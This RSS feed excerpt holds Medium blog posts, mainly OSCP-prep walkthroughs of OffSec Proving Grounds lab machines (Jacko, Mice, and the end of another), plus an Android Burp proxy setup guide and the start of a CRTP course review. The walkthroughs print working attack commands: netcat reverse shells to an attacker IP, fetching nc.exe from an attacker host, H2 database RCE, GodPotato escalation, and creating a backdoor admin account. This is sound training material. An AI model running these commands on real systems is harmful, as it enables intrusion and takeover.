pdf2john.py to create a hash and then used john the ripper to crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*hPSLBQ1RtRe_FQNE0Sw3wg.png" /><figcaption>ariah4168</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*g87Qniq12NRnU5cH3Rg9Dg.png" /><figcaption>Command? mean? Command Injection — MAYBE</figcaption></figure><p>I quickly added the hostname nickel-backup to /etc/hosts and tested that in browser that whether I am able to run commands using this endpoint or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*PwqWKDD4PcB_mNKVMEHumA.png" /></figure><p>At this stage, we can do couple of things like</p><ul><li>using nc.exe to get a reverse shell.</li><li>Creating malicious .exe shell, downloading on remote server and then executing it.</li><li>Using revershell.ps1 one liner script.</li><li>Creating a user and granting him admin privileges then adding to RDP group. (using this one)</li></ul><pre>net user mariam pass /add<br>net localgroup Administrators mariam /add<br>net localgroup &quot;Remote Desktop Users&quot; mariam /add</pre><p>Creating a user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*vOxE4dkF3K12-XeN_icPag.png" /></figure><p>Adding it into Administrator Group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*4J7F0LXISX_r03TCL-2qEw.png" /></figure><p>Adding it into RDP group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*33Niff59o5TWpuyB8xJpKQ.png" /></figure><p>I use Remmina for RDP session. I logged in using newly created user and got proof.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XC_3nYBGpZRLkFhU8KAWlA.png" /></figure><p><strong>Lessons Learned:</strong></p><blockquote>It is always, always very simple thing that you are missing and you know it. Just think again and you’ll get it.</blockquote><blockquote>Google — to <strong><em>avoid getting stuck in rabbit holes.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff4c8dff99a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Jacko]]></title>
            <link>https://medium.com/@huntersherlock11/proving-grounds-jacko-3afb831570bd?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3afb831570bd</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Thu, 29 May 2025 18:55:35 GMT</pubDate>
            <atom:updated>2025-05-29T18:55:35.909Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds — Jacko</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*IXKSSdBylhaOz4EhtSB8aQ.png" /></figure><p>Hi everyone ! In this blog I’ll be explaining how I was able to solve jacko machine from Proving grounds list. It is rated as intermediate difficulty machine. Let’s start !</p><h4>Nmap</h4><p>As always we will run the nmap scan</p><pre>## sudo nmap -Pn -T4 -sS -sV -sC -p- -vvv 192.168.184.66<br>## Full port Scan<br><br>Reason: 65475 resets<br>PORT      STATE    SERVICE       REASON          VERSION<br>80/tcp    open     http          syn-ack ttl 125 Microsoft IIS httpd 10.0<br>| http-methods:<br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: H2 Database Engine (redirect)<br>135/tcp   open     msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>139/tcp   open     netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn<br>445/tcp   open     microsoft-ds? syn-ack ttl 125<br>601/tcp   filtered syslog-conn   no-response<br>1908/tcp  filtered dawn          no-response<br>2679/tcp  filtered syncserverssl no-response<br>2747/tcp  filtered fjippol-swrly no-response<br>3878/tcp  filtered fotogcad      no-response<br>5040/tcp  open     unknown       syn-ack ttl 125<br>5443/tcp  filtered spss          no-response<br>7117/tcp  filtered rothaga       no-response<br>7688/tcp  filtered unknown       no-response<br>8082/tcp  open     http          syn-ack ttl 125 H2 database http console<br>|_http-favicon: Unknown favicon MD5: D2FBC2E4FB758DC8672CDEFB4D924540<br>| http-methods:<br>|_  Supported Methods: GET POST<br>|_http-title: H2 Console<br>8865/tcp  filtered unknown       no-response<br>9092/tcp  open     XmlIpcRegSvc? syn-ack ttl 125<br>16688/tcp filtered unknown       no-response<br>18814/tcp filtered unknown       no-response<br>20994/tcp filtered unknown       no-response<br>21826/tcp filtered unknown       no-response<br>21872/tcp filtered unknown       no-response<br>22564/tcp filtered unknown       no-response<br>24686/tcp filtered unknown       no-response<br>27869/tcp filtered unknown       no-response<br>29025/tcp filtered unknown       no-response<br>29073/tcp filtered unknown       no-response<br>29991/tcp filtered unknown       no-response<br>30051/tcp filtered unknown       no-response<br>30444/tcp filtered unknown       no-response<br>31069/tcp filtered unknown       no-response<br>32285/tcp filtered unknown       no-response<br>34359/tcp filtered unknown       no-response<br>36287/tcp filtered unknown       no-response<br>36397/tcp filtered unknown       no-response<br>36814/tcp filtered unknown       no-response<br>37428/tcp filtered unknown       no-response<br>38772/tcp filtered unknown       no-response<br>40072/tcp filtered unknown       no-response<br>40196/tcp filtered unknown       no-response<br>43830/tcp filtered unknown       no-response<br>44017/tcp filtered unknown       no-response<br>45662/tcp filtered unknown       no-response<br>46574/tcp filtered unknown       no-response<br>49664/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49665/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49666/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49667/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49668/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49669/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>50313/tcp filtered unknown       no-response<br>54512/tcp filtered unknown       no-response<br>56027/tcp filtered unknown       no-response<br>56513/tcp filtered unknown       no-response<br>57609/tcp filtered unknown       no-response<br>59952/tcp filtered unknown       no-response<br>61346/tcp filtered unknown       no-response<br>61467/tcp filtered unknown       no-response<br>61471/tcp filtered unknown       no-response<br>64161/tcp filtered unknown       no-response<br>64177/tcp filtered unknown       no-response</pre><p>Oh shoot ! We have bunch of ports open. Starting with port 443</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a30eI1XOJpc9oFjr-1DWVg.png" /></figure><p>I ran dirsearch here to see hidden directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Dluo-8IGJrcuJs1LepVCnQ.png" /><figcaption>changelog can reveal version information</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qj2gdb7CHBK8uxS00Cftnw.png" /><figcaption>yaayy</figcaption></figure><p>So, let’s google and check if there’s any exploit associated with this version and yes we do have exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ldhl3Mr865XFiqU45P9uag.png" /></figure><p>but that would be applicable on the console which is on port 8082.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vhAi233w2SQAvfAjLdfOg.png" /><figcaption>keeping password blank click connect (Default behavior)</figcaption></figure><p>Now, click connect and we are in the h2 db console. I didn’t new about this much so I googled and found this article useful. <a href="https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2">https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2</a> . Using this I checked do I have read permissions. And yes I have !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZsYSE8RkkGUjQS7PcdnBZA.png" /></figure><p>Upon reading the exploit, I found out that This H2 SQL sequence achieves remote code execution by first writing a malicious DLL (JNIScriptEngine.dll) to disk using CSVWRITE, embedding raw binary content via CHAR() calls. It then loads the DLL into the JVM using System.load, and invokes a native method JNIScriptEngine.eval to execute Java code that spawns a system process (e.g., whoami). This technique leverages Java’s native interface to bypass sandboxing and run arbitrary OS commands. Let’s copy commands and run in the console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWtSaRskRhvTrraBePGMqg.png" /><figcaption>whoami working . Woho !</figcaption></figure><h4><strong>Getting Reverse Shell</strong></h4><p>I hosted nc.exe locally using python server and download that on the remote server. When it got download I simply execute nc.exe to receive shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z4a_gAhGJ14-boJcESfTMw.png" /><figcaption>download nc.exe</figcaption></figure><pre>CALL JNIScriptEngine_eval(&#39;new java.util.Scanner(java.lang.Runtime.getRuntime().exec(&quot;C:/Windows/Temp/nc.exe 192.168.45.173 8080 -e cmd&quot;).getInputStream()).useDelimiter(&quot;\\Z&quot;).next()&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJuvk6pEok10089q-IFoCQ.png" /></figure><p>and we got shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WD1439xTsuYPYFGOMTiuDg.png" /></figure><h4>Lateral Movement — Administrator</h4><p>As always I start with basic enumeration of who we are, in which groups we are and what we can do. whoami /all showed that we have most famous SeImpersonatePrivilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9xzZX6yROfRsl79Bw2Uvg.png" /></figure><p>I simply used Godpotato.exe to exploit this privilege.</p><pre>god.exe -cmd &quot;nc.exe 192.168.45.173 8081 -e cmd.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fty2pDrsYtPtGFyLg1jK7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H3HDlojxPNFuOQvdXWL-GA.png" /></figure><p>And we are Administrator !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHsT0-xrdH8g3PvswW9pqg.png" /></figure><p>That was all from today. I hope you all enjoyed reading this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3afb831570bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mice Proving ground Walk through]]></title>
            <link>https://medium.com/@huntersherlock11/mice-proving-ground-walk-through-9f12f938920a?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f12f938920a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Tue, 27 May 2025 20:39:13 GMT</pubDate>
            <atom:updated>2025-05-27T20:39:13.504Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*IXKSSdBylhaOz4EhtSB8aQ.png" /><figcaption>Mice is a Machine from Proving ground — OFFSEC</figcaption></figure><p>Hi everyone, in this blog I ‘ll be explaining how I was able to get Administrator Access on Mice Machine. Let’s start :)</p><p><strong>Nmap Scan</strong></p><p>I did the nmap scan for full port which showed me this result.</p><pre>PORT     STATE SERVICE        REASON          VERSION<br>1978/tcp open  unisql?        syn-ack ttl 125<br>| fingerprint-strings: <br>|   DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RTSPRequest, SIPOptions, SSLSessionReq, TLSSessionReq, ms-sql-s: <br>|_    SIN 15win nop nop 300<br>1979/tcp open  unisql-java?   syn-ack ttl 125<br>1980/tcp open  pearldoc-xact? syn-ack ttl 125<br>3389/tcp open  ms-wbt-server  syn-ack ttl 125 Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: REMOTE-PC<br>|   NetBIOS_Domain_Name: REMOTE-PC<br>|   NetBIOS_Computer_Name: REMOTE-PC<br>|   DNS_Domain_Name: Remote-PC<br>|   DNS_Computer_Name: Remote-PC<br>|   Product_Version: 10.0.19041<br>|_  System_Time: 2025-05-27T07:45:38+00:00<br>| ssl-cert: Subject: commonName=Remote-PC<br>| Issuer: commonName=Remote-PC<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2025-05-26T07:24:34<br>| Not valid after:  2025-11-25T07:24:34<br>| MD5:   8a01 22a9 d21b ce19 2d86 d6fc d1cb 2f9e<br>| SHA-1: 5944 6983 cef9 871a f0a5 1d40 894a 36c0 23b4 df68<br>| -----BEGIN CERTIFICATE-----<br>| MIIC1jCCAb6gAwIBAgIQFhTSs5rcS6dOHOXRfes5pDANBgkqhkiG9w0BAQsFADAU<br>| MRIwEAYDVQQDEwlSZW1vdGUtUEMwHhcNMjUwNTI2MDcyNDM0WhcNMjUxMTI1MDcy<br>| NDM0WjAUMRIwEAYDVQQDEwlSZW1vdGUtUEMwggEiMA0GCSqGSIb3DQEBAQUAA4IB<br>| DwAwggEKAoIBAQCx0MbkR4JGaO8JxdK4BHJpcsgazrxJqrJTjGvfEs+d+sCd5Iv+<br>| eV+M/WgNSmnCyM0Mz2ZfHHWinomEFjkHQUXN863A4jNqlodiH9EocgNc8IEYDMP/<br>| WZQFeOjF/IL5kii8ZvbarSK8noZ8yjwLw4ro0L8XcnrI9/a56ZQuzHER1+s4kXXZ<br>| 4vMT5LV1vYKDsLwFuzqFJEhVMzIHhk9a5jWs7+HjxjWfiHyqsmjSrBQctLKf4dww<br>| VU2xbWYFQuxfiEdHvsMYR18M69vhso5FEL1PgG6k4HRAzbrY3q0vHPyuFryl+fhe<br>| mLP9U+AQ1ubVXodOaRf2qq7C4AIsjGhPHcgdAgMBAAGjJDAiMBMGA1UdJQQMMAoG<br>| CCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsFAAOCAQEARcpHPkax<br>| YTLc3vPcsY0n/KN6yyo7EoZxM7KkPfBeUDb4dfOR0SwxeJ250cY7oJtAkeB2Au0/<br>| VfdegpebbHGNiOCr/QZFpSN5kGPOSKIJCXnRFKcglfRT+qBP3oF5LQIZyElkd2+W<br>| lGQST3nh+TqejCjYUOIDMTQRTN1pfpS90o8GKgU0LXEYtMGOYic7CZ6INAbO2qUq<br>| dZMzb9pabvDNNyIQ6p5q4iEtI5jQu8bTnbdu/xCry35Oj2hpqm0RhSPNHpAjGDan<br>| TRN5HtIg1IJ1GJR9uNyRXt4G4MOMPCjAiqWupRW8WB+eEbYaXCPr1B3Z4Gf+fWP9<br>| AHWipnEvlZC6pQ==<br>|_-----END CERTIFICATE-----<br>|_ssl-date: 2025-05-27T07:46:07+00:00; -1m05s from scanner time.<br>7680/tcp open  pando-pub?     syn-ack ttl 125</pre><p><strong><em>UniSQL port</em></strong><em> refers to the network port used by </em><strong><em>UniSQL</em></strong><em>, a rare object-relational database system that combines relational and object-oriented models.In simple terms: it’s a special port (usually </em><strong><em>port 1978</em></strong><em>) used by UniSQL servers to </em><strong><em>communicate with clients</em></strong><em> or programs over a network.It’s not commonly used today, but if you see traffic on port </em><strong><em>1978</em></strong><em>, it might be from a </em><strong><em>UniSQL-based service</em></strong><em> — sometimes used in </em><strong><em>old software</em></strong><em> or </em><strong><em>vulnerable Windows tools</em></strong><em> like the </em><strong><em>WiFi Mouse app</em></strong><em>, which repurposed this port. (That is what chatgpt said)</em></p><p>I was unaware of these open ports, so let’s quickly google and see what these ports are and if there are any exploits associated with them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NvMarY2EOOWMPR5aXkhgZA.png" /><figcaption>Found Some Exploits Related to RemoteMouse</figcaption></figure><p>So, I don’t know the exact version of the RemoteMouse being used. I had to try these exploits and see if they work or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rV87KoBP8LytBgby7LpDYQ.png" /><figcaption><a href="https://www.exploit-db.com/exploits/51016">https://www.exploit-db.com/exploits/51016</a> Didn’t work :(</figcaption></figure><p>I tried with different ports for like 80, 8080, 443 but the exploit didn’t work for me. I used other exploit which is <a href="https://github.com/p0dalirius/RemoteMouse-3.008-Exploit">https://github.com/p0dalirius/RemoteMouse-3.008-Exploit</a> . That exploit is pretty simple. All you have to do is to clone and run by specifying target IP and command to be run on remote host. I cloned that exploit in my local machine. For simplicity I will be using netcat to receieve shell. There could be other methods like to create shell.exe using msfvenom or using a reverseshell.ps1.</p><pre>./RemoteMouse-3.008-Exploit.py - target-ip 192.168.230.199 -v - cmd &#39;powershell -c &quot;curl http://192.168.45.236/nc.exe -o C:/Windows/Temp/nc.exe&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Swwzu2HXRuANtbPGIi8INQ.png" /></figure><p>Now, get a shell using this command.</p><pre>./RemoteMouse-3.008-Exploit.py --target-ip 192.168.230.199 -v --cmd &#39;powershell -c &quot;C:/Windows/Temp/nc.exe 192.168.45.236 80 -e cmd&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uuqh18jPyev-CkZhAunQQw.png" /><figcaption>Executing the Exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UvtEcge3W4AF86gjW-l8Ng.png" /><figcaption>receiving the shell</figcaption></figure><p>With hit and trial methods plus little bit googling the right things we are able to get the user shell.</p><h3><strong>Privilege Escalation</strong></h3><p>I started the enumeration with divine user.</p><p><strong>User Groups and Privileges</strong></p><p>Whoami /all showed that user is not part of higher level group &amp; there are no special privileges like SeImpersonate, SeBackup etc which could be potential privilege escalation vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3YUksoIGAk7PY0LzwzZ5aA.png" /></figure><p>For further enumeration I ran winpease tool. Yes, you can manually do that but let’s first run winpease and analyze the results.</p><p><strong>System Information</strong></p><p>It is windows 10 pro and have hot fixes so there are least chances for any kernel exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ud3vRy5DQ8Es1KqQm28B2w.png" /><figcaption>systeminfo /all</figcaption></figure><p><strong>Network Information</strong></p><p>Network enumeration is essential to identify any internally open ports. If an internal port hosts a web application running a CMS as root, it could lead to Administrator access. There could be many other possibilities, so always check internal ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4nC138CWgj2L4i7gsnD2iA.png" /></figure><p>I carried on with enumeration and checked processes, Installed applications, services, any point for DLL injection, but nothing led me to gain administrative access. At this point I am missing something very basic thing that is cleartext credentials.</p><p>I ran this command to check for any files that could contain password for administrator perhaps. :)</p><pre>findstr /SIM /C:&quot;pass&quot; *.ini *.cfg *.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eRp9ik1dmiEWL78oespZg.png" /></figure><p>We have password that is base64 encoded and it is for divine user but we have shell for divine user already. Let’s use this password to RDP into divine user. I use Remmina for login in to RDP.</p><pre>Creds : divine:&lt;base64decodedpass&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VFrmQtcciBZ_yfyJebI5kg.png" /><figcaption>Divine User :)</figcaption></figure><p>But we have performed the enumeration already. At this moment I was stuck and frustrated because I have checked everything but no access to Admin till now. :( I took break and carefully looked at my own checklist. I just googled RemoteMouse Privilege Escalation and :) yes we do have a exploit for that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRT6SvpSxtCsHjRXJk5tMA.png" /></figure><p>I opened the first exploit and took same steps as mentioned in it. <a href="https://www.exploit-db.com/exploits/50047">https://www.exploit-db.com/exploits/50047</a></p><p>And, we are Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WQYd0MHJtzo1eJfNM3f3g.png" /></figure><p><strong>Lessons Learned:</strong></p><ul><li>Google is your only friend.</li><li>Try multiple exploits when you are unsure (Don’t give up).</li><li>Take breaks and come back stronger.</li><li>Go over your checklist again and again. It’s already there you are just missing something.</li></ul><p>I hope you all enjoyed reading this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f12f938920a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Step by Step Guide to Android Pen-testing Setup | By Mariam]]></title>
            <link>https://medium.com/@huntersherlock11/step-by-step-guide-to-android-pen-testing-setup-by-mariam-c7e398831b59?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7e398831b59</guid>
            <category><![CDATA[mobile-pentest]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-pentest]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Sat, 25 Nov 2023 20:01:09 GMT</pubDate>
            <atom:updated>2023-11-25T20:28:27.975Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello 👋, everyone! Hope you all are doing great. In this blog I am going to be explaining everything one can need for android pen-testing. This guide will include setup via Genymotion and also will help you out in setting up the proxy and intercept the request. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*ZMQxqavXKGVpoWDrozWN1w.png" /></figure><p><strong>Genymotion Installation</strong></p><p>Genymotion is a popular Android emulator that is widely used for development and testing purposes. It provides a virtualized environment where you can run and test Android applications on your computer, eliminating the need for physical devices for testing. You can easily install genymotion on your local machine using<em> </em><a href="https://www.genymotion.com/download/"><em>this link.</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*TnG75JxdYtExzYOP0FCyMw.png" /></figure><p><em>I’m assuming that you already have virtualbox installed in your local machine.</em> :)</p><p><strong>Setting up Virtual Device</strong></p><p>Once the genymotion is installed on your machine, you need to setup the virtual device. Click on any device you want. I am setting up a custom phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*CJB-aIq83lAvonAXFkoAng.png" /></figure><p>I am using the default options for making the process bit easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*2MtMLAp5QDOQE-EJq1v3bg.gif" /></figure><p>Once everything is setup, just start your device.</p><p>Pause for a moment and celebrate 🎉 , because you’ve just reached the midway point in crafting your Android Pen-testing Setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*-bV4J_LUko73yPj8UXggTQ.png" /></figure><p><strong>Configure Burp Suite proxy with an Android emulator</strong></p><p>This seems to be the tough part. Honestly, it took me two days to set up, but I am going to show you how to do this in hardly ten minutes. Yes, you heard right. Let’s get started :)”</p><p><strong>1- Export CA Certificate</strong></p><p>Open burp and go to Proxy &gt; Options tab and then click <strong>Import / export CA certificate</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EF5K9hLwUY7rOaSwoxhIGg.png" /></figure><p><strong>2- Preparing Certificate</strong></p><ul><li>In this crucial step, we’re about to modify the format of our certificate, aligning it perfectly with our needs. To accomplish this task, the trusty OpenSSL tool comes into play, ensuring a seamless transformation process.</li></ul><pre>openssl x509 -inform DER -in cacert.der -out cacert.pem</pre><ul><li>Now we need to get the issuer hash value of the certificate. Following command will help us do that.</li></ul><pre>openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1</pre><ul><li>Let’s assume the output of the previous command is 9a5ba575, now you have to rename the certificate to this value and add .0 extension.</li></ul><pre>mv cacert.pem 9a5ba575.0</pre><p><strong>3- Relocate Certificate Information to System Certificates</strong></p><ul><li>The adb remount command is used in Android development and debugging to remount the /system partition of the Android device in read-write mode. By default, the /system partition is mounted as read-only for security reasons, preventing unintentional modifications that could potentially harm the stability of the device. Use the following command.</li></ul><pre>adb remount</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*v5v3Sjuz8bj68IbNE_3ZaA.png" /></figure><ul><li>Now we need to push the certificate into our virtualized device using following command.</li></ul><pre>adb push 9a5ba575.0 /system/etc/security/cacerts/<br>adb shell chmod 664 /system/etc/security/cacerts/9a5ba575.0</pre><ul><li>That was the step where I got permission error.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*enFc0IvA7JM0Kxrsyn_QKA.png" /></figure><p><strong>Solution</strong></p><p>I googled and found out a script which will help to gain superuser privileges.</p><pre>adb shell<br>su<br>mount -o remount,rw /<br>mount -o remount,rw /odm<br>mount -o remount,rw /product<br>mount -o remount,rw /system_ext<br>mount -o remount,rw /vendor<br>mount | grep dm- | head -5</pre><p>Finally! I was able to push the certificate successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBR_N96Lwo4P8Po_nwP2AA.png" /><figcaption>ENJOYYYYYYY :-)</figcaption></figure><p><strong>4- Reboot</strong></p><p>Last step is reboot the device and you are good to go.</p><pre>adb reboot</pre><p><strong>5- Checking Certificate</strong></p><p>Now we can see PortSwigger trusted CA in the device. Open device and navigate.</p><blockquote>Settings -&gt; Security -&gt;Device Security-&gt;Encryption &amp; Credentials-&gt;Trusted Credentials</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*OxEQu0bbZzkNvyzrWtkdSw.png" /></figure><p><strong>6- Last Step:</strong></p><p><strong>Configure Proxy</strong></p><p>On BurpSuite set a port number and select option <em>bind to all interfaces</em> option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*NXuZ7-Krbfl3qwInZhIcFA.png" /></figure><p>On the Android device that we have just created go to setting → Network &amp; Internet → AndroidWifi. Click the network you are connected with and click on option “Modify”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*7Gb1ZEscku-fvh55dsCihw.png" /></figure><p>A couple of options will be seen after clicking modify option. Change the IP address to the IP of your machine and port number to the port we’ve just added in the burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*w0gN5Rvw-Jae--UyUOJyhw.png" /></figure><p>Let’s confirm by capturing a request in burpsuite. We are successfully able to capture requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vG3as6QPijUNjOSXkFZCtg.png" /></figure><p><em>Congratulations</em>! The proxy is all set up. 🎆</p><p>I hope you liked the article. I tried to explain the steps I took and talked about the problems I had while setting things up. I also suggested solutions for those issues.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7e398831b59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[23 Learning Objectives, 59 Tasks, >120 Hours of Torture — CRTP Journey]]></title>
            <link>https://medium.com/@huntersherlock11/23-learning-objectives-59-tasks-120-hours-of-torture-crtp-journey-33401fd75e06?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/33401fd75e06</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[crtp-exam]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Tue, 26 Sep 2023 13:50:21 GMT</pubDate>
            <atom:updated>2023-09-26T13:50:21.391Z</atom:updated>
            <content:encoded><![CDATA[<h3>23 Learning Objectives, 59 Tasks, &gt;120 Hours of Torture — CRTP Journey</h3><p>Hello everyone, I hope you all are fine. :-) In this blog I’ll be sharing my experience regarding my CRTP journey.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FflbcUFdLSHwZC03p11%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FflbcUFdLSHwZC03p11%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExcnJha3YxOGo4cGlsMWJrZHRtaTU4MDNyazNkNDVmNnd5M3B0YW9teiZlcD12MV9naWZzX2dpZklkJmN0PWc%2FflbcUFdLSHwZC03p11%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="268" frameborder="0" scrolling="no"><a href="https://medium.com/media/75f65a7d8a7c8948f770ef420203dd44/href">https://medium.com/media/75f65a7d8a7c8948f770ef420203dd44/href</a></iframe><p><strong>About Course</strong></p><p>The Certified Red Team Professional certification is a rigorous, hands-on program that requires candidates to demonstrate their practical skills by tackling real-world challenges. In this certification, students must successfully navigate fully patched Windows infrastructure labs, which encompass multiple Windows domains and forests. It’s a comprehensive and practical assessment of one’s ability to identify vulnerabilities and assess security in a dynamic and realistic environment.</p><h4>Course Content</h4><p>During its extensive learning session, a student for CRTP is taught following stuff.</p><p><em>AD Enumeration<br> Local privilege escalation<br> Domain privilege escalation and Lateral Movement<br> Domain Persistence<br> Trust attacks across Domains and Forests<br> Defenses and detection <br> Bypass AMSI<br> Services abuse<br> Golden and Silver ticket<br> Constrained and Unconstrained delegation<br> Abuse Domain ACL<br> (Over)Pass the hash or the ticket<br> DC Sync</em></p><h4>Lab Environment</h4><p>The lab we are provided with is of low privilege. The user with low privilege is against the firewall. The goal of the lab is to escalate your privileges by breaking all the barriers and move laterally throughout the domain. That’s how the lab environment looks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JnVaq69Foq4r_DfUSLjHAg.png" /></figure><h4>Learning Strategy</h4><p>I purchased On Demand Lab for one month. The plus point of this course is that after purchasing one month access of lab, student get access to the course material. Even one don’t want to play around one can access lab within 90 days of purchase. So, I decided to take all the sessions first. I made notes while listening to these session videos. I 